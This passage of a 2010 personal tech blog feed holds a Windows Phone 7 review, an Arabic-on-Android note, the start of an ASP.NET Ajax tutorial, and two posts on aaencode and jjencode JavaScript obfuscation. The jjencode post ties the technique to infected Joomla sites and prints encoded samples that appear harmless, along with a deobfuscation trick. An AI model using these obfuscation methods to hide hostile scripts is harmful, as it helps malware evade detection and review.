height="322"&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TN35QeMOISI/AAAAAAAACdw/vssObbbwr8Q/s1600-h/DSC00522%5B4%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: ; padding-left: 0px; padding-right: 0px; display: inline; float: ; border-top: 0px; border-right: 0px; padding-top: 0px" title="DSC00522" border="0" alt="DSC00522" src="http://lh6.ggpht.com/_MIqc395dv38/TN35Q6KBv7I/AAAAAAAACd0/jV9ZSdgUntk/DSC00522_thumb%5B1%5D.jpg?imgmax=800" width="236" height="320"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;What I also like about Windows Phone 7 is the fact that you can use several services other than Windows Live for syncing contacts, calendars and emails. Gmail integrate pretty well, and if you have been an Android user like me, all your contacts can be imported just as easy as your Live ID contacts.&lt;/p&gt; &lt;p&gt;The camera is awesome, when taking a picture, you just slide on the left side and you get the last pic you took, no menus to go through, very intuitive and simple.&lt;/p&gt; &lt;p&gt;Animations also are pleasant, they don’t disturb your work, and are as fast as they should be to give a great user experience.&lt;/p&gt; &lt;p&gt;Internet explorer is really fast and smooth with Bing search and voice commands, it is a pretty enjoyable experiment.&lt;/p&gt; &lt;p&gt;Today, I had the chance to try the gps on the device and how fast and accurate it is, I was completely surprise, it is perfect, pretty fast, so responsive and accurate while used with Bing Maps.&lt;/p&gt; &lt;p&gt;&lt;em&gt;What I don’t like about Windows Phone 7 is mainly the features that lacks the OS and which have &lt;/em&gt;&lt;a href="http://www.nytimes.com/2010/10/28/technology/personaltech/28pogue.html?_r=1&amp;amp;ref=technology" target="_blank"&gt;&lt;em&gt;been discussed&lt;/em&gt;&lt;/a&gt;&lt;em&gt; in (almost) every website reviewed the OS.&lt;/em&gt;&lt;/p&gt; &lt;p&gt;You cannot change the ringtone (what a big deal right ;D ).&lt;/p&gt; &lt;p&gt;More seriously, there is no copy past!! I totally hate the way Microsoft is playing Apple with its customers! The whole world knows that copy/paste is not that hard to implement on any OS, and hence MS has made the choice not to include it and not because it is a feature that they will *work* on on the future!&lt;/p&gt; &lt;p&gt;While they have already promised for some updates by early 2011, playing Apple with Windows Phone 7 is “&lt;em&gt;disgusting&lt;/em&gt;”, Windows Phone users are not iPhone users, and even if MS wants to play the game, does that mean it has to copy the iPhone 1 and let its users 4 years late compared to the other Mobile Operating Systems??&lt;/p&gt; &lt;p&gt;There is no way to take screenshots on the device!! how I am supposed to do reviews on the OS and apps then?&lt;/p&gt; &lt;p&gt;Also, there is no sharing option for webpages, videos or even pictures and photos on social networks! you take a pic, you close the Photos app, you open Twitter app, then join a pic to share it! For a webpage it is simply impossible to share its URL, since there is no freaking copy/paste.&lt;/p&gt; &lt;p&gt;The Filesystem is completely &lt;a href="http://forum.xda-developers.com/showthread.php?t=649938" target="_blank"&gt;unknown&lt;/a&gt; for users (developers), there is an Adobe Acrobat reader app, but guess how you open pdf files?? whether you download them from the web and they get saved somewhere, or you download them from your email! there is no way to just put your pdfs on the phone to read them later.&lt;/p&gt; &lt;p&gt;Multitasking, please don’t get me to start on this one!&lt;/p&gt; &lt;p&gt;You have no control over the browsers settings, you can’t disable Javascript for example. You can’t install &lt;a href="http://www.martani.net/2009/11/install-wpa-certificates-cer-files-on.html" target="_blank"&gt;arbitrary certificates&lt;/a&gt; on the device and you can’t setup proxies, if you have come from the Android world, that will be a hell for you.&lt;/p&gt; &lt;h3&gt;The Device&lt;/h3&gt; &lt;p&gt;Samsung Omnia 7 rocks, with its 4inch AMOLED screen that puts the iPhone’s to shame (according to my biased opinion ^_^), the touch is just another great part of the device as well. With a 5 MP camera, HD video recording and 1GHz processor, I simply adore it. &lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TN35RujOZVI/AAAAAAAACd4/fvXGWjKbZok/s1600-h/Photo015%5B4%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: ; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top: 0px; border-right: 0px; padding-top: 0px" title="Photo015" border="0" alt="Photo015" src="http://lh3.ggpht.com/_MIqc395dv38/TN35SH7d2-I/AAAAAAAACd8/HU3eWXuWQhA/Photo015_thumb%5B1%5D.jpg?imgmax=800" width="286" height="388"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;For a complete review about the device, take a look &lt;a href="http://www.engadget.com/2010/10/20/samsung-omnia-7-review/" target="_blank"&gt;here&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;However, I find the search’s button (if it can be called so) position a little irritating, while holding the device in landscape mode, usually, your finger just press it unwillingly, since it is almost at the edge of the corner, but with time, you get used to it.&lt;/p&gt; &lt;p&gt;But! the earbuds are a complete failure, the quality of sound is just good, but the way they have to be used is really irritating, first, when you put them you can hear nothing around you, literally nothing, you can get hit by a car without even noticing (hearing) it approaching.&lt;/p&gt; &lt;p&gt;If you try to lower the volume on the earbuds to try to hear any extern voices, you will get an annoying sounds of the earbuds themselves when they touch your clothes, which makes them useless in the two cases.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TN35TEX6fiI/AAAAAAAACeA/Do03_cN950w/s1600-h/DSC00501%5B7%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: ; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="DSC00501" border="0" alt="DSC00501" src="http://lh4.ggpht.com/_MIqc395dv38/TN35Tq9UNdI/AAAAAAAACeE/fq8OgEuPTNA/DSC00501_thumb%5B4%5D.jpg?imgmax=800" width="231" height="313"&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TN35UYJO4dI/AAAAAAAACeI/8FwgccpLIhk/s1600-h/DSC00506%5B4%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: ; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="DSC00506" border="0" alt="DSC00506" src="http://lh6.ggpht.com/_MIqc395dv38/TN35VtuivaI/AAAAAAAACeM/TLr8KgAf7zw/DSC00506_thumb%5B1%5D.jpg?imgmax=800" width="231" height="313"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-4785517536948659914?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/4785517536948659914/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/11/windows-phone-7-hands-on-samsung-omnia.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4785517536948659914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4785517536948659914'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/11/windows-phone-7-hands-on-samsung-omnia.html' title='Windows Phone 7 : hands on (Samsung Omnia 7)'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/TN35NUu9U5I/AAAAAAAACdk/MtubSJ-2r4A/s72-c/DSC00487_thumb%5B4%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-1781669724522669090</id><published>2010-11-05T15:32:00.000+01:00</published><updated>2010-11-05T15:32:52.645+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><title type='text'>Encode Javascript with a Japanese style emoticons (^_^)</title><content type='html'>Remember that JJencode method that inserts $ everywhere and makes the code absolutely unreadable from the &lt;a href="http://www.martani.net/2010/10/jjencode-new-way-to-obfuscate.html"&gt;last post&lt;/a&gt;? well, if you liked it, then this one is going to be a real surprise for you.&lt;br /&gt;&lt;br /&gt;The same guy who created the JJencode methode, has created also some weird method to encode Javascript, a&lt;b&gt;&lt;i&gt; Japenese emoticons encoded Javascript&lt;/i&gt;&lt;/b&gt; (^_^), no seriously, here is how your code will look like after encoding (enjoy :D imagine that in a real webpage):&lt;br /&gt;&lt;blockquote&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;Pretty convincing right, especially the ('_')&amp;nbsp; and (ﾟｰﾟ) emoticons, and yeah, that's real javascript there.&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To get your scripts encoded, just head to Yosuke HASEGAW's &lt;a href="http://utf-8.jp/public/aaencode.html"&gt;webpage here&lt;/a&gt;, and as usual, to know what is going on behind an encoded script like that, here's the magical part :&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;document.write("&amp;lt;textarea&amp;gt;"+ encoded_code +"&amp;lt;/textarea&amp;gt;");&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;This guy absolutely rocks, I mean, do you see how this Javascript looks like (^_^).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-1781669724522669090?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/1781669724522669090/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/11/encode-javascript-with-japanese-style.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1781669724522669090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1781669724522669090'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/11/encode-javascript-with-japanese-style.html' title='Encode Javascript with a Japanese style emoticons (^_^)'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-9139497060901208993</id><published>2010-10-24T15:18:00.002+02:00</published><updated>2010-10-24T15:23:20.212+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>jjencode, a new way to obfuscate Javascript</title><content type='html'>&lt;a href="http://extraexploit.blogspot.com/"&gt;Extraexploit&lt;/a&gt; blog reported lately a new wave of infected websites (using joomla CMS) with Javascript code that looks like this :&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;blockquote&gt;$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$]&lt;br /&gt;,_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$&lt;br /&gt;$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$&lt;br /&gt;:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_&lt;br /&gt;[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$&lt;br /&gt;_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_&lt;br /&gt;[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.&lt;br /&gt;$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(!&lt;br /&gt;[]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"&lt;br /&gt;+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+&lt;br /&gt;$._$+", \\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_&lt;br /&gt;+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"&lt;br /&gt;+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"&lt;br /&gt;)"+"\"")())();&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It turns out that this new method of obfuscation is actually not totally new, the method is called jjencode and it is available on&amp;nbsp;&lt;a href="http://utf-8.jp/public/jjencode.html"&gt;http://utf-8.jp/public/jjencode.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If you ever run onto an obfuscated code like that one, you can use the above website to decode it, (careful&amp;nbsp;with the eval part though), and if you wanted the plain Javascript code you can wrap the encoded code within the following call:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;document.write("&amp;lt;textarea&amp;gt;"+ encoded_code +"&amp;lt;/textarea&amp;gt;");&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-9139497060901208993?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/9139497060901208993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/10/jjencode-new-way-to-obfuscate.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/9139497060901208993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/9139497060901208993'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/10/jjencode-new-way-to-obfuscate.html' title='jjencode, a new way to obfuscate Javascript'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-2257657469655362232</id><published>2010-09-11T01:15:00.001+02:00</published><updated>2010-09-11T01:15:30.399+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Arabic Support on Android is Here</title><content type='html'>&lt;p&gt;The subject of Arabic language on Android devices has been so debated, with more than 5000 requests on Google’s Android issue lists &lt;a href="http://code.google.com/p/android/issues/detail?id=5597"&gt;http://code.google.com/p/android/issues/detail?id=5597&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Today, while getting SICK (totally) of the (untruthful) promises of SFR to make Android 2.2 Froyo available for its devices, I decided to go ahead and install a custom ROM (&lt;em&gt;CyanogenMod 6 ROM&lt;/em&gt;) &lt;a href="http://www.frandroid.com/24416/cyanogen-froyo-sur-htc-dreammagic-et-nexus-one/" target="_blank"&gt;here&lt;/a&gt;. And I’m really impressed how it is working smoothly –yeah multitouch work on HTC Magic :D-&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TIq79d8FwOI/AAAAAAAACcs/SSlxE0fBUAs/s1600-h/devicett%5B2%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto; padding-top: 0px" title="devicett" border="0" alt="devicett" src="http://lh5.ggpht.com/_MIqc395dv38/TIq7-Y3ZAZI/AAAAAAAACcw/-wPgkQJYoH8/devicett_thumb.png?imgmax=800" width="164" height="244"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Arabic seems to work pretty well on third party applications, but sadly on the browser the characters are printed but from left to right!&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TIq7_OLLRVI/AAAAAAAACc0/DoetbbLR43E/s1600-h/alarabia%5B2%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; margin: 0px 100px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="alarabia" border="0" alt="alarabia" align="left" src="http://lh5.ggpht.com/_MIqc395dv38/TIq7_yInyWI/AAAAAAAACc4/GfTZ0sUr-dc/alarabia_thumb.png?imgmax=800" width="164" height="244"&gt;&lt;/a&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TIq8AUiAfKI/AAAAAAAACc8/L1PemmlOuOM/s1600-h/aljazeera%5B2%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="aljazeera" border="0" alt="aljazeera" src="http://lh4.ggpht.com/_MIqc395dv38/TIq8Bwt25rI/AAAAAAAACdA/fXqGDjsR0yA/aljazeera_thumb.png?imgmax=800" width="164" height="244"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TIq8CkLXh4I/AAAAAAAACdE/g7EDp4279y4/s1600-h/arabic%20browser%5B2%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto; padding-top: 0px" title="arabic browser" border="0" alt="arabic browser" src="http://lh3.ggpht.com/_MIqc395dv38/TIq8EA5YnxI/AAAAAAAACdI/5DVIgJsw3E0/arabic%20browser_thumb.png?imgmax=800" width="164" height="244"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;And what’s with Isreal being choose as a country for Arabic language? it is an official language there ok, but seriously?&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-2257657469655362232?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/2257657469655362232/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/09/arabic-support-on-android-is-here.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2257657469655362232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2257657469655362232'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/09/arabic-support-on-android-is-here.html' title='Arabic Support on Android is Here'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/TIq7-Y3ZAZI/AAAAAAAACcw/-wPgkQJYoH8/s72-c/devicett_thumb.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5207043789672984211</id><published>2010-09-05T03:48:00.001+02:00</published><updated>2010-09-05T03:48:10.446+02:00</updated><title type='text'>Ajax Calls on ASP.NET UserControls</title><content type='html'>&lt;p&gt;You cannot make Ajax calls on ASP.NET user controls &lt;a href="http://stackoverflow.com/questions/1359153/how-to-make-a-jquery-ajax-call-on-an-asp-net-user-control" target="_blank"&gt;can you&lt;/a&gt;? So what’s the solution? give up? absolutely not.&lt;/p&gt; &lt;p&gt;While believing arrogantly that I am a genius or that C# is the most beautiful piece of software ever created (and will be), ideas had been floating in my head non-stop, and most of the problems I faced just got solved, of course with nasty non advised tricks :-), keep reading.&lt;/p&gt; &lt;p&gt;I needed to call a web method on a &lt;em&gt;usercontrol&lt;/em&gt;, and all I wanted was the result of the processing returned by this method, so I tried the ASP.NET AJAX &lt;em&gt;PageMethods&lt;/em&gt; but the result was &lt;em&gt;PageMethods&lt;/em&gt; is not defined!&lt;/p&gt; &lt;p&gt;Cool, if we need the result of the web method in our JavaScript, we can profit of the ASP.NET server controls and the &lt;em&gt;UpdatePanel&lt;/em&gt; for Ajax calls, here are the steps:&lt;/p&gt; &lt;p&gt;&lt;strong&gt;1. Inserting an UpdatePanel on you usercontrol&lt;/strong&gt;, and within it, inserting a Label and a button or a timer (or whatever way you want to callback you &lt;em&gt;usercontrol&lt;/em&gt;)&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:c48436c9-baa2-4ac7-b300-f52dab038baf" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 400px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;asp&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;UpdatePanel&lt;/span&gt; &lt;span style="color:#ff0000"&gt;ID&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;UpdatePanel1&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;runat&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;server&amp;quot;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;ContentTemplate&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;        &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;asp&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;Timer&lt;/span&gt; &lt;span style="color:#ff0000"&gt;ID&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;Timer1&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;runat&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;server&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;Interval&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;4000&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;ontick&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;Timer1_Tick&amp;quot;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        &lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;asp&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;Timer&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;        &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;br&lt;/span&gt; &lt;span style="color:#0000ff"&gt;/&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        &lt;span style="color:#0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#800000"&gt;asp&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;Label&lt;/span&gt; &lt;span style="color:#ff0000"&gt;ID&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;Label1&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;runat&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;server&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;Text&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;Label&amp;quot;&lt;/span&gt; &lt;span style="color:#ff0000"&gt;CssClass&lt;/span&gt;&lt;span style="color:#0000ff"&gt;=&amp;quot;ResultPlaceHolder&amp;quot;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;asp&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;Label&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;    &lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;ContentTemplate&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#800000"&gt;asp&lt;/span&gt;&lt;span style="color:#0000ff"&gt;:&lt;/span&gt;&lt;span style="color:#800000"&gt;UpdatePanel&lt;/span&gt;&lt;span style="color:#0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;The label above will be a placeholder of our Ajax call result, it has a class name &lt;em&gt;ResultPlaceHolder&lt;/em&gt; so that it will be found easier using jQuery, as you should know, &lt;em&gt;id&lt;/em&gt;s and &lt;em&gt;name&lt;/em&gt;s on server controls get messed up in client side with ASP.NET.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;2. Setting up the result from within the Timer tick method&lt;/strong&gt; (or the click method of your button)&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:b231ea09-a8ac-4656-9aaa-2d5dc6f626fd" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 400px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;protected&lt;/span&gt; &lt;span style="color:#0000ff"&gt;void&lt;/span&gt; Timer1_Tick(&lt;span style="color:#0000ff"&gt;object&lt;/span&gt; sender, &lt;span style="color:#2b91af"&gt;EventArgs&lt;/span&gt; e)&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;{&lt;/li&gt; &lt;li&gt;    Label1.Text += &lt;span style="color:#a31515"&gt;&amp;quot;a: &amp;quot;&lt;/span&gt;;&lt;/li&gt; &lt;li style="background: 